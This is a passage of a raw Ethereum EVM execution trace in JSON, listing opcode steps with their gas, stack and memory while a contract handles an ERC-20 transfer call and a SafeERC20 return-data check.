1a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7579,"op":"ADD","gas":31898,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x1","0x124","0x20","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0","0x3f","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7580,"op":"AND","gas":31895,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x1","0x124","0x20","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0","0x5f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7581,"op":"DUP3","gas":31892,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x1","0x124","0x20","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7582,"op":"ADD","gas":31889,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x1","0x124","0x20","0x40","0x124"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7583,"op":"PUSH1","gas":31886,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x1","0x124","0x20","0x164"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7585,"op":"MSTORE","gas":31883,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x1","0x124","0x20","0x164","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7586,"op":"RETURNDATASIZE","gas":31880,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x1","0x124","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7587,"op":"DUP3","gas":31878,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x1","0x124","0x20","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7588,"op":"MSTORE","gas":31875,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x1","0x124","0x20","0x20","0x124"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7589,"op":"RETURNDATASIZE","gas":31872,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x1","0x124","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","000000202e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7590,"op":"PUSH1","gas":31870,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x1","0x124","0x20","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","000000202e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7592,"op":"PUSH1","gas":31867,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x1","0x124","0x20","0x20","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","000000202e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7594,"op":"DUP5","gas":31864,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x1","0x124","0x20","0x20","0x0","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","000000202e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7595,"op":"ADD","gas":31861,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x1","0x124","0x20","0x20","0x0","0x20","0x124"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","000000202e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7596,"op":"RETURNDATACOPY","gas":31858,"gasCost":6,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x1","0x124","0x20","0x20","0x0","0x144"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","000000202e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7597,"op":"PUSH2","gas":31852,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x1","0x124","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7600,"op":"JUMP","gas":31849,"gasCost":8,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x1","0x124","0x20","0x1db6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7606,"op":"JUMPDEST","gas":31841,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x1","0x124","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7607,"op":"POP","gas":31840,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x1","0x124","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a0000000000000000000000000000000000